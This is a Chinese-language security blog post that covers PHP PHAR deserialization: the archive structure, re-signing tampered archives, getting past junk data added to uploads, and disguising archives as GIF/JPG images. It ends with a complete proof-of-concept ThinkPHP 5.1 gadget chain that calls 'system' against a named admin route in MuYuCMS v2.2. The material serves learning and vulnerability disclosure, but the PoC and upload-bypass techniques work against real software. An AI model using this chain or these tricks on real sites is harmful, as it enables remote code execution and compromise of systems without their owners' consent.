这篇文章其实早就在写了,但不知为何其被我遗留在一个不为人知的的角落里,再不发出来就要发霉了。。。

image-20251002160640780

由于phar遇到的很少,这里只是对其基础知识进行学习,网上有很多师傅更深入了解的文章,也是在这里埋个坑以后继续学习

在PHP中,PHAR(PHP Archive)是一种将多个PHP文件、资源(如图片、样式表)和元数据打包成单个文件的归档格式,类似于Java的JAR文件。它的主要目的是简化代码的分发和部署。

它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句

phar的文件结构

首先我们需要知道php是如何标识一个phar文件的,且是如何从一个phar中访问php文件

image-20250520161414966

Stub(引导程序)

stub可以理解为一个phar文件的标识符,类似于可执行文件的“头部”,当直接运行phar时,PHP解释器会首先执行Stub中的代码

其本质上还是一个php文件,必须包含 __HALT_COMPILER(); 语句,通常用于定义自定义的加载逻辑或显示帮助信息,例如

1
2
3
4
5
<?php
Phar::mapPhar();
require "phar://". __FILE__ ."/file.php";
__HALT_COMPILER();
?>

当我们直接执行这个phar文件时,它可以直接指定要访问的php文件

image-20250520162446466

Manifest(元数据清单)

以二进制结构记录PHAR中所有文件的元信息,包括:

  • 文件名、文件大小、时间戳。
  • 文件权限、压缩类型(如Gzip/Bzip2)。
  • 用户自定义的元数据(通过 setMetadata() 存储的序列化数据

因此这里也是反序列化的攻击点

Contents(文件内容)

实际存储PHAR中包含的所有文件数据,通过 phar:// 流包装器访问

Signature(签名)

验证PHAR文件的完整性和来源真实性,防止篡改

1
2
3
4
5
01 -> MD5
02 -> SHA1
03 -> SHA256
04 -> SHA512
10 -> OPENSSL

image-20250520165026366

使用PHP的Phar类提供的API进行修改时,签名会自动更改,PHP在加载phar文件时会验证签名,若会签名不匹配则会拒绝加载

image-20250520170516776

构造payload

自定义meta-data写入manifest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class AAA {
public $a = "hello";
function __wakeup()
{
eval($this->a);
}
}

$test = new AAA();
$test->a = "phpinfo();";

$phar_test = new Phar('test.phar');
$phar_test->startBuffering();
$phar_test->setMetadata($test);
$phar_test->setStub("<?php __HALT_COMPILER();?>");
$phar_test->addFromString("test.php","test");
$phar_test->stopBuffering();
?>

假设目标存在

1
2
3
4
5
6
7
8
9
10
11
<?php
class AAA{
public $a="hello";
function __wakeup()
{
eval($this->a);
}
}
$phardemo = file_get_contents('phar://test.phar/test.php');
echo $phardemo;
?>

image-20250520180646908

值得一提的是,整个过程其实是基于目标系统原有的类定义来构造payload的,同时该服务器上的php.ini设置需要phar.readonly = Off,最重要的是巧妙利用魔术方法来配合反序列化

一些绕过技巧

重签名

正如上述所说,如果修改文件内容会使得签名不一致,但我们可以通过winhex得知该phar文件的签名类型,从而在更改文件内容的情况下进行重签名

1
2
3
4
5
6
7
from hashlib import sha1
with open('example.phar', 'rb') as file:
f = file.read()
data = f[:-28] # 签名数据
sign = f[-8:] # 签名类型和GBMB标识
with open('test.phar', 'wb') as file:
file.write(data + sha1(data).digest() + sign) # 数据 + 签名 + (类型 + GBMB)

这里我将e改为c

image-20250520214257388

image-20250520214324396

文件头有脏数据

大概的场景是这样的:服务器将你成功上传的phar文件前加上脏数据,可能是日志时间啥的,因为签名这个过程是发生在签名后的,所以此时你想加载phar文件显然是不行的

因为签名不匹配,需要注意的是,php在加载phar文件时是会忽略签名的脏数据的,只会从文件头<?php __HALT_COMPILER();?>开始解析,但前提是需要一个包含脏数据的签名

假设服务器对你刚上传的文件有如下处理,并且你以某种手段知道具体脏数据值

1
2
3
4
5
6
7
8
9
10
11
<?php
function prepend_to_file($file_path, $data) {
$current_content = file_get_contents($file_path);
$new_content = $data . $current_content;
file_put_contents($file_path, $new_content);
}

$file_path = 'test.phar';
$data_to_prepend = "[2025-05-20] Uploaded";
prepend_to_file($file_path, $data_to_prepend);
?>

此时文件无法加载,因为签名不匹配

image-20250520223206648

绕过方法就是包含脏数据重新生成phar文件,此时计算签名会包含它

1
$phar_test->setStub("[2025-05-20] Uploaded<?php __HALT_COMPILER();?>");

然后通过winhex删除掉

image-20250520223410347

image-20250520223434551

届时我们在上传就可以成功加载了,因为php检查时会发现此时计算的签名是包含日期的

image-20250520223610659

文件尾部的脏数据

image-20250520224338791

image-20250520224346255

此时是无法解析的,但我们可以用tar文件后缀,因为tar存在TAR结束块,解析器在此会停止读取

image-20250520225208906

值得一提的是,phar伪协议不仅可以加载phar后缀文件,常见的压缩文件都可以

1
2
3
4
5
6
7
8
.phar(标准格式)
.phar.gz(gzip压缩)
.phar.bz2(bzip2压缩)
.phar.tar(tar格式)
.phar.tar.gz(tar+gzip)
.phar.tar.bz2(tar+bzip2)
.phar.zip(zip格式)
前缀.phar可去掉

MuYuCMS-v2.2后台存在Phar反序列化漏洞

需要找到一些可加载文件的函数,同时这个路径是我们可控的

image-20250521220918653

全局搜索is_dir,在Template.php

image-20250521222755746

在模板管理的自定义单页中找到

image-20250521223003298

根据ThinkPHP的路由规则,默认的URL访问规则是

1
http://站点/index.php/模块/控制器/操作

因此

1
http://站点/admin.php/Template/cutformadd

image-20250521224207191

找到了加载利用处,我们需要上传phar文件(当然显然不存在,不然直接上传php马了)

ThinkPHP5.1反序列化

因为MuYuCMS是基于ThinkPHP5.1版本的,这里需要借助ThinkPHP 5.1.x 反序列化漏洞,可以看看我写的这篇文章

而我们是通过phar的方式去加载,因此只需要改造一下

完整Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace think{
abstract class Model {
protected $append = [];
private $data = [];
public function __construct() {
$this->append = ["Qu43ter"=>["1"]];
$this->data = ["Qu43ter"=>new Request()];
}
}
}

namespace think{
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = [];

function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = "system";
$this->config = ['var_ajax'=>'',];
}
}
}

namespace think\process\pipes{
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model {

}
}

namespace {
use think\process\pipes\Windows;
$phar_test = new Phar("test.phar");
$phar_test->startBuffering();
$phar_test->setMetadata(new Windows());
$phar_test->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");
$phar_test->addFromString("test.php","test");
$phar_test->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
?>

之后我们将其后缀改为jpg(即使改成jpg后缀,文件的内容实际上仍然是Phar格式,只是通过改变扩展名来绕过一些文件上传限制)

image-20250526195230067

参考文章:

Phar反序列化学习 - Zh1z3ven

Phar反序列化及其一系列的奇技淫巧 - Boogiepop Doesn’t Laugh

站点中的Phar反序列化漏洞